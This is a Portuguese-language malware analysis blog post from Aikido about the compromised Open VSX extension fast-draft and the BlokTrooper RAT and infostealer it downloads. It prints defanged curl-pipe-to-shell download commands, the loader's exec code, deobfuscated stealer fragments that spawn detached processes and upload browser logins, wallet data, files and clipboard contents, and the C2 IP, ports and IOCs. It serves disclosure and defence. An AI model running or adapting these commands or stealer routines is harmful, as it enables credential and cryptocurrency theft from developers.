Aikido

Extensão fast-draft Open VSX Comprometida por BlokTrooper

Escrito por
Raphael Silva

O KhangNghiem/fast-draft extensão, listada em open-vsx.org/extension/KhangNghiem/fast-draft e agora com mais de 26.000 downloads, apresentou múltiplas versões maliciosas que executam um downloader hospedado no GitHub e baixam um RAT e infostealer de segunda fase do repositório BlokTrooper/extension. As versões maliciosas confirmadas na linha de versão que inspecionamos são 0.10.89, 0.10.105, 0.10.106, e 0.10.112.

O que torna este caso incomum é que as versões maliciosas não são contínuas. As versões até 0.10.88 parecem limpas. 0.10.111 também parece limpa, mesmo estando entre versões maliciosas, e a última versão do Open VSX até 17/03/2026, 0.10.135, também não contém o mesmo loader. Esse padrão alternado é difícil de conciliar com um mantenedor que intencionalmente distribui malware. O mais provável é um editor comprometido ou um token roubado.

Em 17/03/2026, a entrada da API Open VSX em open-vsx.org/api/KhangNghiem/fast-draft lista 0.10.135 como a versão mais recente e relata 26.594 downloads para a extensão no total. Divulgamos o problema ao mantenedor em 12/03/2026 via issue do GitHub github.com/khangnghiem/fast-draft/issues/565, que ainda estava aberta e sem comentários no momento da redação.

O Que Aconteceu

Analisar a linha de versão em ordem conta a história:

  • 0.10.88: Aparentemente limpa. Nenhum caminho de downloader conhecido.
  • 0.10.89: Maliciosa. Introduz um downloader de shell hospedado no GitHub dentro da inicialização do editor.
  • 0.10.105: Maliciosa. Move o loader para a ativação de inicialização e adiciona um guard de uso único.
  • 0.10.106: Maliciosa. Mesmo loader de inicialização, mas o guard é removido.
  • 0.10.111: Aparentemente limpa. O caminho do downloader conhecido desaparece.
  • 0.10.112: Maliciosa. O downloader de inicialização retorna.
  • 0.10.129-135: Aparentemente limpa. Últimas versões verificadas, downloader conhecido ausente.

Esse não é o padrão de lançamento esperado de uma única build comprometida ou de um mantenedor que mudou completamente para um comportamento malicioso. Parece mais com duas linhas de lançamento concorrentes compartilhando a mesma identidade de editor.

Como o Ataque Funcionou

Todas as versões maliciosas usam o mesmo truque básico: a extensão se conecta a raw[.]githubusercontent[.]com/BlokTrooper/extension e direciona a resposta diretamente para um shell.

Em 0.10.89, a extensão busca scripts específicos da plataforma no diretório scripts/ do repositório:

curl hxxps://raw[.]githubusercontent[.]com/BlokTrooper/extension/refs/heads/main/scripts/linux.sh | sh
curl hxxps://raw[.]githubusercontent[.]com/BlokTrooper/extension/refs/heads/main/scripts/mac.sh | sh
curl hxxps://raw[.]githubusercontent[.]com/BlokTrooper/extension/refs/heads/main/scripts/windows.cmd | cmd

Em 0.10.105, 0.10.106, e 0.10.112, a mesma ideia é encapsulada como um icons/${platform} fetch e vinculada à ativação da extensão, provavelmente também com o objetivo de evadir alguma detecção.

Esses scripts de plataforma então baixam arquivos ZIP, os extraem para um diretório temporário e executam um binário Node empacotado contra um payload temporário ofuscado. Já analisamos esse payload em uma análise separada. Não é um stub de teste inofensivo. Ele implanta quatro módulos paralelos:

  • Um RAT Socket.IO com controle de mouse, teclado, captura de tela e área de transferência
  • Um stealer de navegador e carteira que visa senhas salvas, Web Data e 25 extensões de carteira de criptomoedas
  • Um módulo de exfiltração de arquivos que carrega recursivamente documentos, chaves, configurações, código-fonte e Secrets
  • Um monitor de área de transferência que envia o conteúdo copiado de volta para o C2

A infraestrutura é a mesma cadeia BlokTrooper/extension que desofuscamos anteriormente, com valores de configuração resolvendo para 195[.]201[.]104[.]53, e portas ativas 6931, 6936, e 6939.

A Prova Irrefutável

A versão maliciosa 0.10.112 build restaura a ativação na inicialização e o downloader bruto do GitHub:

const fileName = platform === "win32" ? " | cmd" : " | sh";
const cdnUrl = `curl ${protocol}${separator}${host}${path2}${fileName}`;
(0, import_child_process.exec)(cdnUrl, (error, responses) => {...

A última build limpa verificada, 0.10.135, não apresenta o mesmo caminho. Sua lógica de ativação registra o provedor do editor e outras funcionalidades da extensão, mas o downloader BlokTrooper está ausente.

Essa diferença importa mais do que o ruído heurístico genérico de scanners estáticos. Este caso exigiu uma revisão manual versão por versão porque as builds limpas ainda empacotam a execução normal de processos e integrações de provedores de IA que podem parecer suspeitas para regras simplistas.

O Que a Segunda Etapa Realmente Faz

A segunda etapa é onde isso se transforma de um downloader suspeito em um comprometimento completo.

O wrapper externo temp wrapper reconstrói o endereço C2 a partir de octetos IP hardcoded, suprime erros de tempo de execução com process.on('uncaughtException', ()=>{}), e gera quatro processos filhos Node desanexados com node -e. Em outras palavras, a extensão não apenas puxa um payload. Ela puxa um pequeno framework de ataque que se ramifica em tarefas concorrentes separadas.

process.on(..., function(a7) {});
process.on(..., function(a7) {});
var Q = N.a;
var R = N.b;
var T = N.c;
var U = N.d;...
var a3 = ''.concat(Q, '.').concat(R, '.').concat(T, '.').concat(U);
var a4 = ''.concat(V, '.').concat(W, '.').concat(X, '.').concat(Y);
var a5 = ''.concat(V, '.').concat(W, '.').concat(X, '.').concat(Y);

Isso vem diretamente do wrapper desofuscado e mostra o operador ocultando falhas enquanto reconstrói strings IP a partir de campos de configuração, em vez de armazená-las como texto simples.

ab = ...;
M(..., ['-e', ab], {
    windowsHide: true,
    detached: true,
    stdio: ...
});
ac = ...;
M(..., ['-e', ac], {
    windowsHide: true,
    detached: true,
    stdio: ...
});
ad = ...;
M(..., ['-e', ad], {
    windowsHide: true,
    detached: true,
    stdio: ...
});
ae = ...;
M(..., ['-e', ae], {
    windowsHide: true,
    detached: true,
    stdio: ...
});

Este é o ponto de controle chave da fase 2: um script de inicialização inicia quatro módulos separados em memória e os desanexa para que possam continuar executando independentemente em segundo plano.

Módulo 1: RAT de Área de Trabalho Remota

O primeiro processo filho se conecta de volta a http://195[.]201[.]104[.]53:6931 via Socket.IO e expõe um canal completo de controle remoto.

Ele suporta comandos para:

  • movimento do mouse, cliques e rolagem
  • pressionamentos de tecla e combinações de teclas
  • capturas de tela com compressão JPEG
  • leituras e gravações da área de transferência
  • consulta de dimensões da tela
  • criação de perfil do sistema e controle de sessão

O conjunto de dependências empacotado dentro do ZIP corresponde exatamente a essas capacidades:

"node_modules/@nut-tree-fork/nut-js": {
    "version": "4.2.6"
}, "node_modules/clipboardy": {
    "version": "5.3.1"
}, "node_modules/screenshot-desktop": {
    "version": "1.15.3"
}, "node_modules/sharp": {
    "version": "0.34.5"
}, "node_modules/socket.io-client": {
    "version": "4.8.3"
}

Por si só, as dependências não são suficientes para provar comportamento malicioso. Neste caso, elas importam porque se alinham com o layout do módulo já desofuscado: tarefas remotas via Socket.IO, captura de desktop, processamento de imagem, acesso à área de transferência e automação completa de teclado e mouse.

O payload também verifica se está sendo executado em uma VM procurando por strings como vmware, virtualbox, qemu, kvm, e xen em informações de sistema específicas da plataforma. Ele não para quando encontra uma VM. Ele simplesmente rotula o host e continua. Ele também mantém um bloqueio PID singleton em ~/.npm/ para que não empilhe múltiplas instâncias na mesma máquina.

Módulo 2: Roubo de Navegador e Carteira

O segundo processo filho percorre perfis de navegador para Chrome, Edge, Brave, Opera e LT Browser em macOS, Linux e Windows. Para cada perfil, ele rouba:

  • Dados de Login
  • Dados de Login para Conta
  • Dados da Web
  • Estado LevelDB de extensões de carteira

O direcionamento da carteira é amplo, não incidental. A lista codificada inclui MetaMask, Phantom, TronLink, Trust Wallet, Coinbase Wallet, OKX, Solflare, Rabby, Keplr, UniSat, Enkrypt, Bitget, SafePal, TON Wallet, Petra, Pontem, Nami, Sender, Slope, Halo e CoinStats, entre outros. No macOS, ele também captura ~/Library/Keychains/login.keychain.

Os dados são preparados em ~/npm-cache/__tmp__/cldbs/ e enviados para http://195[.]201[.]104[.]53:6936/upload. Após a varredura inicial, o ladrão continua consultando novos arquivos LevelDB a cada 100 segundos, o que significa que ele é construído para capturar mudanças de estado da carteira ao longo do tempo, em vez de fazer apenas um único ataque rápido.

A decodificação fresca do estágio 2 nos dá uma visão mais clara do módulo de roubo de navegador. Ele codifica IDs de extensão de carteira e então itera sobre dados de perfil de navegador, bancos de dados de login e estado de extensão baseado em LevelDB:

const wps = ["nkbihfbeogaeaoehlefnkodbefgpgknn", "bfnaelmomeimhlpmgjnjophhpkkoljpa", "aeachknmefphepccionboohckonoeemg", "jblndlipeogpafnldhgmapagcccfchpi"];
await c[z(0x238)](uf, g + '/' + j + z(0x241));
await c[z(0x22b)](uf, g + '/' + j + z(0x1ee));
await c[z(0x1d6)](uf, g + '/' + j + z(0x208));
for (let k of wps) {
    const l = g + '/' + j + z(0x248) + k;

No mesmo blob decodificado, essas constantes de caminho se resolvem em /Dados de Login, /Dados de Login para Conta, /Dados da Web, e /Configurações de Extensão Local/, enquanto o uploader usa FormData, fs.createReadStream, /cldbs, e /upload.

const f = new FormData();
f.append(e[y(0x1fc)], fs[y(0x20e)](c));
const g = await axios[y(0x1e4)](uu, f, {
    headers: {
        ...f[y(0x239)](),
        path: d[y(0x1fb)](e[y(0x21a)], e[y(0x1ba)])
    }
});

Módulo 3: Roubo de Documentos e Segredos

O terceiro processo filho verifica recursivamente o diretório inicial, ou todas as unidades no Windows, em busca de arquivos sensíveis. Os padrões de destino incluem:

  • *.docx, *.xlsx, *.xls, *.csv, *.pdf, *.doc, *.odt, *.rtf
  • *.md, *.txt, *.js, *.ts, *.json, *.ini
  • *.env*, *.pem, *.secret
  • formatos de imagem comuns

A lista de exclusão também é reveladora. Ela ignora caminhos ruidosos como node_modules, .git, dist, e build, mas também ignora explicitamente pastas como .windsurf, .pearai, .claude, .cursor, .brownie, e openzeppelin. Isso sugere que o operador não está apenas roubando arquivos aleatórios. Eles sabem que máquinas de desenvolvedores, ferramentas de criptografia e ambientes de codificação assistidos por IA são alvos de alto valor.

As strings decodificadas de roubo de arquivos são explícitas sobre o que é coletado e o que é ignorado:

const u = [".github", "*.env*", ".sqlite", "*.csv", "*.pdf", ".zsh_history", ".ssh", ".pub-cache", ".vscode"];
"node_modules", ".brownie", "AppData", "*.docx", ".cursor", ".claude", "openzeppelin", ".windsurf"

Isso é ajustado para estações de trabalho de desenvolvedores, árvores de código-fonte, material de chave, histórico de shell e estados locais de alto valor de ambientes de codificação modernos.

Módulo 4: Vigilância da Área de Transferência

O quarto processo filho consulta a área de transferência a cada poucos segundos e espera que o conteúdo se estabilize antes de enviá-lo ao C2.

  • No macOS, ele usa pbpaste
  • No Windows, ele executa powershell -NoProfile -NonInteractive Get-Clipboard
  • No Linux, ele recorre a clipboardy

Conteúdos alterados da área de transferência são enviados para /api/service/makelog, o que significa que frases semente, senhas, chaves de API e códigos de recuperação copiados podem ser exfiltrados mesmo que nunca sejam gravados em disco.

O blob de string decodificado do módulo da área de transferência é incomumente direto:

"/api/service/makelog","pbpaste","powershell -NoProfile -NonInteractive Get-Clipboard","child_process","http://"

Essas strings estão juntas no código da área de transferência de estágio 2 e correspondem ao comportamento anterior que observamos durante a desofuscação: coleta da área de transferência específica da plataforma seguida pelo envio para a rota de log do operador.

A Diferença Limpa Importa

As versões limpas são o que tornam este caso digno de análise como um provável comprometimento do editor, em vez de apenas “uma extensão que se tornou maliciosa”.

Verificamos manualmente 0.10.88, 0.10.111, e 0.10.129-135 para os indicadores concretos presentes nas builds maliciosas:

  • raw[.]githubusercontent[.].com/BlokTrooper
  • o guard fd.onlyOncePlease usado pelo carregador de inicialização
  • socket.io-client
  • /upload
  • /cldbs
  • pbpaste
  • Get-Clipboard

Esses indicadores conhecidos estavam ausentes nas versões de aparência limpa, e seu fluxo de ativação parecia um registro de extensão normal, em vez de um downloader. Isso é especialmente importante para 0.10.111, que se encontra bem entre as maliciosas 0.10.106 e 0.10.112, e para 0.10.135, que é atualmente a última versão do Open VSX.

Se o mantenedor estivesse conscientemente distribuindo o malware, o histórico de versões provavelmente permaneceria malicioso até a descoberta ou limpeza. Em vez disso, vemos lançamentos maliciosos surgirem e desaparecerem enquanto a questão pública permanece sem resposta. Isso é consistente com acesso de publicação roubado ou algum outro comprometimento do caminho de lançamento.

Indicadores de Comprometimento

  • ID da Extensão: KhangNghiem.fast-draft
  • Versões maliciosas: 0.10.89, 0.10.105, 0.10.106, 0.10.112
  • Host de Estágio 1: raw[.]githubusercontent[.].com/BlokTrooper/extension
  • IP de C2: 195[.]201[.]104[.]53
  • Portas: 6931, 6936, 6939
  • Rotas de Exfiltração: /upload, /cldbs, /api/service/makelog

Compartilhar:

https://www.aikido.dev/blog/fast-draft-open-vsx-bloktrooper

Comece hoje, gratuitamente.

Comece Gratuitamente
Não é necessário cc

Assine para receber notícias sobre ameaças.

4.7/5
Cansado de falsos positivos?

Experimente Aikido como 100 mil outros.
Começar Agora
Obtenha um tour personalizado

Confiado por mais de 100 mil equipes

Agende Agora
Escaneie seu aplicativo em busca de IDORs e caminhos de ataque reais

Confiado por mais de 100 mil equipes

Iniciar Escaneamento
Veja como o pentest de IA testa seu aplicativo

Confiado por mais de 100 mil equipes

Iniciar Testes
Verifique se você está em risco

Verifique suas dependências em busca de pacotes maliciosos

Começar Agora

Fique seguro agora

Proteja seu código, Cloud e runtime em um único sistema centralizado.
Encontre e corrija vulnerabilidades rapidamente de forma automática.

Não é necessário cartão de crédito | Resultados da varredura em 32 segundos.